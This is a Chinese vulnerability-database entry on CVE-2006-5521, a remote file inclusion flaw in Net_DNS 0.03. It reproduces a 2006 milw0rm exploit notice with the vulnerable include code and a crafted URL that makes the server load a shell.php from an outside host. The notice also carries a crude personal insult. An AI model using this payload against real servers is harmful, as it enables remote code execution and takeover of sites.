Net_DNS 'RR.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111350 漏洞类型 输入验证
发布时间 2006-10-22 更新时间 2006-10-30
CVE编号 CVE-2006-5521 CNNVD-ID CNNVD-200610-466
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2614
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-466
|漏洞详情
Net_DNS0.03及更早版本的DNS/RR.php中存在PHP远程文件包含漏洞,远程攻击者可以通过phpdns_basedir参数中的URL执行任意PHP代码。
|漏洞EXP
###### ToXiC #########################
#
# Net_DNS: Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                      Net_DNS-0.03
#
#
#  Sorce Code:
#             http://gentoo.osuosl.org/distfiles/Net_DNS-0.03.tgz
#
#
# Page:
#         RR.php
#
#
# Dir :
#      /DNS/
#
#
#
#
# Problem:
#         /* Include files {{{ */
#         require_once("$phpdns_basedir/DNS/RR/A.php");
#         require_once("$phpdns_basedir/DNS/RR/NS.php");
#         require_once("$phpdns_basedir/DNS/RR/CNAME.php");
#            require_once("$phpdns_basedir/DNS/RR/PTR.php");
#            require_once("$phpdns_basedir/DNS/RR/SOA.php");
#            require_once("$phpdns_basedir/DNS/RR/MX.php");
#            require_once("$phpdns_basedir/DNS/RR/TSIG.php");
#        /* }}} */#
#
#
# ExPloit :
#   http://www.site.com/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=http://sonic-banda-di-lamer.gay/shell.php?
#
#
#
#       
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

# milw0rm.com [2006-10-22]
|参考资料

来源:XF
名称:netdns-rr-file-include(29698)
链接:http://xforce.iss.net/xforce/xfdb/29698
来源:BID
名称:20666
链接:http://www.securityfocus.com/bid/20666
来源:MILW0RM
名称:2614
链接:http://www.milw0rm.com/exploits/2614
来源:MILW0RM
名称:4755
链接:http://www.milw0rm.com/exploits/4755
来源:VUPEN
名称:ADV-2006-4185
链接:http://www.frsirt.com/english/advisories/2006/4185
来源:SECUNIA
名称:22522
链接:http://secunia.com/advisories/22522
来源:MILW0RM
名称:2614
链接:http://milw0rm.com/exploits/2614